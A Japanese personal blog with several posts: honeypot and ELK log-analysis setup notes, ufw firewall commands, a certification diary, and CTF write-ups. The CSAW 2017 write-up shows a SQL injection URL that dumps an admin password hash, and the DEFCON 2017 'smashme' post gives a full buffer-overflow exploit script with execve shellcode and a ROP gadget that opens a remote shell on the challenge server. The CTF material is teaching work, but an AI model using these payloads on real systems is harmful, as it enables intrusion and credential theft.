birabiraのめも

忘れっぽいのでここにメモをしていきます

ハニーポットをパワーアップさせた。

AWSのLightSailが少し安くなっていた。
RAM 1Gでも$5なのでとてもおすすめ。

前回のハニーポットはRAM 500Mで制限がとても多かったのでいっそのこと最初から作り直した。
作るのに4日くらいかかった。その代わりSystemdやrsyslogとか若干わかるようになった。うれしい。

便宜上、suricataとufwもハニポってことにしてるけど許してくださいな。

構成

f:id:bira09:20181109205054p:plain AWSVPSに各ハニーポット等を設置して、それらをS3にいったんアップロード。
自宅のPCにインストールしたELKにてログを収集して分析する。
前回と比べてufwとdionaeaが追加された。

使用したもの

作り方

OS: Ubuntu 18.04
方針として各ログをLogrotateのPostscriptでs3にアップロードします。

詳細は各情報元をご参照ください。
「動けばいい」で作っているのでこの記事によって引き起こされた問題等の責任は負えません。
rootで作業したのでsudoとか使ったとか忘れました。

もの ばしょ
Suricata /var/log/suricata/eve.json
Dionaea /opt/dionaea/var/lib/dionaea/dionaea.json
Cowrie /var/log/cowrie/cowrie.json
ufw /var/log/ufw.log
WOWhoneypot /home/wow/wowhoneypot/log/access_log

ハニポ

Suricata

以下のコマンドを実行
2. Installation — Suricata 4.1.0-dev documentation

sudo add-apt-repository ppa:oisf/suricata-stable
sudo apt-get update
sudo apt-get install suricata

また、ルールの管理は suricata-update が便利だったのでこちらを使います。
Quick Start — suricata-update 1.1.0dev0 documentation

pip install --upgrade suricata-update
sudo suricata-update

これらのコマンドを使うことでルールはいろいろ設定されています。
アラート以外にもHTTPやssh等の監査ログ、統計ログが出てしまっているので /etc/suricata/suricata.yml で調整します。

Dionaea

最近アップデートされたようですね。非常にインストールが楽になったような気がします。
Ubuntu 18.04でも以下のコマンドで動きました。
Installation — dionaea 0.8.0 documentation

git clone https://github.com/DinoTools/dionaea.git /opt/dionaea
cd  /opt/dionaea

sudo apt-get install \
    build-essential \
    cmake \
    check \
    cython3 \
    libcurl4-openssl-dev \
    libemu-dev \
    libev-dev \
    libglib2.0-dev \
    libloudmouth1-dev \
    libnetfilter-queue-dev \
    libnl-3-dev \
    libpcap-dev \
    libssl-dev \
    libtool \
    libudns-dev \
    python3 \
    python3-dev \
    python3-bson \
    python3-yaml

mkdir build
cd build
cmake -DCMAKE_INSTALL_PREFIX:PATH=/opt/dionaea ..

make
sudo make install

http serviceについては必要ないので設定から削除して、ihandler-enableにlog_jsonを移動させます。

Cowrie

これをなぞるだけ。
cowrie/INSTALL.md at master · cowrie/cowrie · GitHub
ログ出力先の設定を変えました。

ufw

ufwはlogging levelをhighに設定。 ufwのログはrsyslogにて制御しているため適宜設定を変えます。

WOWHoneypot

こちらのインストール方法を見ながらインストールします。 github.com

Logrotate

各ハニポのログは1時間おきにs3にアップロードしたいと考えました。
その時に有効なのがLogrotateです。 postscript というものを使うと任意のコマンドを実行することができるためs3にアップロードするように調整します。

サービス登録

OSをシャットダウンしたとしても自動で起動するようにサービスとして登録を行います。
Serviceセクションの Type をうまく使うとハニポの起動コマンドでもサービスとして登録できました。

自宅ELK分析環境

OS: CentOS 7.X 今回はELKを分析環境として利用します。メモリは8GBぐらいあれば足りるでしょう。
ElasticSearch、Logstash、Kibanaを以下のURLからダウンロードします。

www.elastic.co

それぞれ yum localinstall 等でインストールしましょう。

kibana

kibanaはlocalhostのみで待ち受けているため以下を変えます。
server.host: "0.0.0.0"

http:// IPアドレス:5601でアクセスができるはずです。

Logstash

ハニポのログをElasticSearchにぶっこむ設定を行います。本来であれば型をしてしたテンプレートファイルを作成すると思いますが、今回は面倒なので作成しません。

サンプルとしてufwの取り込み設定のコンフィグをあげます。

gist.github.com

inputセクションでどこからデータを持ってくるのかを指定して、filterセクションでデータの加工を行います。最後にoutputセクションでどこへデータを送るのかを指定します。

iptables.patはこちらからいただきました。
iptables Grok Pattern · GitHub

特にfilterセクションではとても便利で、UAの解析やgeoipの取得やリバースDNSの取得など様々な加工を行うことができます。
非常にたくさんのプラグインがあるのでぜひ活用してください。

www.elastic.co

configのアップロードは別の記事にしようと思います。

それぞれハニポのログを別のパイプラインとして登録をすると以下のようにいい感じになります。 f:id:bira09:20181124100046p:plain

ここまでくるとs3を経由してハニポのログが自宅PCのElasticSearchに入りました。 kibanaから確認してみましょう。

kibanaでの設定

まずはインデックスを設定する必要があります。以下の順にクリックします。
Management → index Patterns → Create Index Pattern 

f:id:bira09:20181124100343p:plain

画像のようにハニポのログが種類別、日付別のインデックスになっているのでそれぞれインデクスを作成します。 f:id:bira09:20181124100449p:plain

ログを見てみよう

honeypot-suricata-*のログを見てみます。
いい感じにカラムを指定するとこんな感じになります。SuricataはIDSなのでシグネチャ名とペイロードまで確認することができますね。 f:id:bira09:20181124101734p:plain

honeypot-*で特定のIPアドレスを指定して検索してみましょう。
このインデックスであればハニーポットの種別を問わない検索ができます。
特定のIPアドレスがさまざまなログを残してくれているようです。ありがとうございます。
f:id:bira09:20181124102414p:plain

さいごに

T-POTという素晴らしいハニーポット分析環境がありますが、自分で一から作ってみると環境に愛着がわいておすすめですよ。

TODO

  • configの需要が有りそうならconfigのブログをかく
  • 気が向いたときにログの記事をかく
  • ログ分析のやり方の記事をかく

久しぶりにはにぽ植えた

はじめに

タイトル通り久しぶりにハニーポットを植えてみました。

前回はハニーポットとしてcowrieを使い
分析環境としてSplunkを使い、リアルタイム分析ができる環境でした。

まあこれでもよかったのですが、どうせならもうちょっと拡大したいと思い
新しく環境を作りました。

T-Potでええやんとも思いましたが、VPS上で運用するにはお金もかかるし
家にリソースが余っているパソコンがあったため有効活用しようということで使っていません。

使ったものについて

  • Cowrie
  • WOWHoneypot
  • Suricata

Cowrie

おなじみSSHTelnetに特化したハニーポット
以前から使ったことがあったという理由だけでチョイス。

WOWHoneypot

dionaeaとかglastopfとかようわからんし環境作るのが面倒だった。
しかしWOWHoneypotはほんとお手軽。

Suricata

OSSのIPS/IDSはSnortしか知らかなったけど、会社の人にSuricataめっちゃええよということを教えてもらった。
なによりペイロードもログに出力される。
一般的なルールで検知したログととハニーポットのログを突合させて何か見えるといいな。

構成について

f:id:bira09:20180314223608p:plain

ハニポはAWSのLightsailで構築。
logrotateで1日一回s3にログをアップロードするような構成。

自宅PCのELKは
Logstashでs3に取りに行く。
cowrieとSuricataに関してはjsonなのでそのまま設定。
wowhoneypotについてはgrokを使って自分でパース。

Kibanaについて

dashboardはVisualizationから作って
Visualizationはsaved searchからつくるって考えるとどう構成するのがいいのか考え中。
とりあえずは検索できるのでまあよし。

画像とか

suricata

f:id:bira09:20180314230915p:plain
どのシグネチャを有効にするのかを考えなければ
f:id:bira09:20180314231241p:plain

cowrie

よく見るやつ。
password
f:id:bira09:20180314231820p:plain

input command
f:id:bira09:20180314231624p:plain

wowhoneypot

いろいろなところにアクセスしようとしている。
f:id:bira09:20180314232232p:plain

今後

  • 分析した結果とかをブログに書いていきたい。
  • Suricataのルールの自動更新
  • Suricataのルールの選定
  • wowhoneypotのフロント改善
  • はにぽ自体をいろいろなところに設置
    • Indexの設計しなおし?
  • kibanaのダッシュボード作る
  • ufwのログも取り込んで統計取りたい

CSAW CTF 2017 Writeup

はじめに

本当に久しぶりにCTFをやりました。最後にやったのはいつだか覚えていません。 解けた問題ですがやるだけ問しか解けなかったのが残念です。。。

解いた問題

  • Web200 LittleQuery
  • Crypto350 baby_crypt

以上のみとなっております。

Writeup

Web200 LittleQuery

---------------------------------------------
robots.txt

User-agent: *
Disallow: /api

---------------------------------------------
/api/db_explore.php

Must specify mode={schema|preview}

モード指定が必要

---------------------------------------------
/api/db_explore.php?mode=schema

{"dbs":["littlequery"]}

dbとして「littlequery」というものがあることがわかります。  
また、モード指定をすることによってスキーマや内容を見れることは何となく分かるため  
littlequeryのテーブルを確認していきます

---------------------------------------------
/api/db_explore.php?mode=schema&db=littlequery&table=user

{"columns":{"uid":"int(11)","username":"varchar(128)","password":"varchar(40)"}}

littlequeryのスキーマがわかりました。
モードをpreviewにすれば見れるはずです。

---------------------------------------------
/api/db_explore.php?mode=preview&db=littlequery&table=user

Database 'littlequery' is not allowed to be previewed.

みれん

---------------------------------------------
/api/db_explore.php?mode=schema&db=INFORMATION_SCHEMA

{"tables":["CHARACTER_SETS","COLLATIONS","COLLATION_CHARACTER_SET_APPLICABILITY","COLUMNS","COLUMN_PRIVILEGES","ENGINES","EVENTS","FILES","GLOBAL_STATUS","GLOBAL_VARIABLES","KEY_COLUMN_USAGE","OPTIMIZER_TRACE","PARAMETERS","PARTITIONS","PLUGINS","PROCESSLIST","PROFILING","REFERENTIAL_CONSTRAINTS","ROUTINES","SCHEMATA","SCHEMA_PRIVILEGES","SESSION_STATUS","SESSION_VARIABLES","STATISTICS","TABLES","TABLESPACES","TABLE_CONSTRAINTS","TABLE_PRIVILEGES","TRIGGERS","USER_PRIVILEGES","VIEWS","INNODB_LOCKS","INNODB_TRX","INNODB_SYS_DATAFILES","INNODB_FT_CONFIG","INNODB_SYS_VIRTUAL","INNODB_CMP","INNODB_FT_BEING_DELETED","INNODB_CMP_RESET","INNODB_CMP_PER_INDEX","INNODB_CMPMEM_RESET","INNODB_FT_DELETED","INNODB_BUFFER_PAGE_LRU","INNODB_LOCK_WAITS","INNODB_TEMP_TABLE_INFO","INNODB_SYS_INDEXES","INNODB_SYS_TABLES","INNODB_SYS_FIELDS","INNODB_CMP_PER_INDEX_RESET","INNODB_BUFFER_PAGE","INNODB_FT_DEFAULT_STOPWORD","INNODB_FT_INDEX_TABLE","INNODB_FT_INDEX_CACHE","INNODB_SYS_TABLESPACES","INNODB_METRICS","INNODB_SYS_FOREIGN_COLS","INNODB_CMPMEM","INNODB_BUFFER_POOL_STATS","INNODB_SYS_COLUMNS","INNODB_SYS_FOREIGN","INNODB_SYS_TABLESTATS"]}

なんにもない

---------------------------------------------
/api/db_explore.php?mode=preview&db=littlequery`.`user+%23+&table=user

[{"uid":"1","username":"admin","password":"5896e92d38ee883cc09ad6f88df4934f6b074cf8"}]

ログインするだけ

Crypto350 baby_crypt

概要

AES ECBモードを使って暗号化されている模様
選択平文攻撃ってこういう攻撃手法だったんですね。初めてでした。

input + flag 自分の入力のあとにflagがくっつけられて暗号化されるようです。

ECBモードではブロック(16バイト)ごとに暗号化が行われるため
平文がブロック単位で一致していれば、暗号文がおなじになるという性質を利用します。

例)自分の入力値が「32バイトの\0」場合(*は未知のデータ。flag) f:id:bira09:20170918133037p:plain

上段の2ブロックを自分の入力で占領(?)しています。

実際に問題サーバーに投げてみると

['cdd75f5151595b98fb17bea583e7ac58', 'cdd75f5151595b98fb17bea583e7ac58', 'f9cc1330ae5830732a18d1a23211ffbc', 'e3725519adb9e6f10d658d87c80825ed']

という結果になり、先頭2ブロックの暗号文の値が一致しています。

攻撃方法

自分の入力を少し工夫します。 f:id:bira09:20170918134016p:plain

自分の入力値のバイト数を31バイトにすることによってflagの先頭文字を2ブロック目に調整することが可能です。
この状態であれば15番目の入力値を総当りすることで1ブロック目と2ブロック目が一致する値を見つけることができるはずです。

あとはこれを繰り返す事ができるようにプログラムを組むだけでした。

参考

感想

久しぶりで辛かったです。proがすごすぎて何も出来ませんでした。
ありがとうございました。

ufw まとめ

ufwめんどかったから使ったコマンドまとめる

firewallを有効化する

# ufw enable

Firewall is active and enabled on system startup

firewallを無効化する

# ufw disable

設定確認

# ufw status verbose
Status: active
Logging: on (low)
Default: deny (incoming), allow (outgoing), deny (routed)
New profiles: skip

To                         Action      From
--                         ------      ----
80                         ALLOW IN    Anywhere
443                        ALLOW IN    Anywhere
Anywhere                   ALLOW IN    192.168.1.2
80 (v6)                    ALLOW IN    Anywhere (v6)
443 (v6)                   ALLOW IN    Anywhere (v6)

設定追加

ポートで

ufw allow 80

ipで

ufw allow from 192.168.1.2

ポートフォワーディング

1.フォワーディング有効化

# vim /etc/ufw/sysctl.conf
8行目辺り
net/ipv4/ip_forward=1
を有効化

2.ポートフォワーディング

# vim /etc/ufw/before.rules

*nat
:PREROUTING ACCEPT [0:0]
-A PREROUTING -p tcp --dport 2222 -j REDIRECT --to-port 22
-A PREROUTING -p tcp --dport 2223 -j REDIRECT --to-port 23
COMMIT
を先頭行に追加

設定有効化

ufw reload

はい。

defcon 2017 smashme

先輩の教えと、後輩の気付きを横取りして解いた
rdiに入力値のの先頭アドレスがあったからpush rdi; ret;しただけ

import struct, socket, sys, telnetlib
 
def sock(remoteip, remoteport):
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((remoteip, remoteport))
  return s
 
def read_until(f, delim='\n'):
  data = ''
  while not data.endswith(delim):
    data += f.read(1)
  return data
 
def shell(s):
  t = telnetlib.Telnet()
  t.sock = s
  t.interact()

p = lambda x: struct.pack("<L", x)

shellcode = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"

payload  = shellcode
payload += "Smash me outside, how bout d"
payload += "A" * (72 - len(payload))
payload += p(0x42ef4e) #0x0042ef4e: push rdi ; ret  ;  (1 found)


s = sock("smashme_omgbabysfirst.quals.shallweplayaga.me",57348)
s.send(payload + "\n")

shell(s)

三級ファイナンシャル・プランニング技能士になった

せっかく資格試験に受かったので一応記録として残しておこうと思う。
資格はめっちゃ簡単らしいけど、それなりに勉強しないと落ちる。

FPって?

www.u-can.co.jp
ユーキャンのページが分かりやすかった。
要するに保険とか、税金などその名の通りお金に関する資格。
知っといて損はないよね

受けた経緯

去年の年末、バイトで稼いだ金額が103万円超えるとか超えないとかで
どうして超えると面倒なのかとかを調べてたところから始まり。
そこから、社会人になる上で保険とか税金とか知らないとヤバくね???
って思ったのが勉強する決心を決めた。

勉強量について

たぶん2週間くらいで受かると思う。
ただ、相続とか贈与とかは現状自分には関係なかったところだったから
イメージが掴めず、大変だった。

感想

この資格を受けて本当に良かったと思う。
今まで知らなかったようなこととか勉強できたし
こういうのって法律で決まってたりするから知らないからというものでもないもの。
これからも継続的に勉強をしていきたいと思う。

あと、合格証書がかっこいい。うれしい。
みなさんも受けてみてはいかがでしょうか。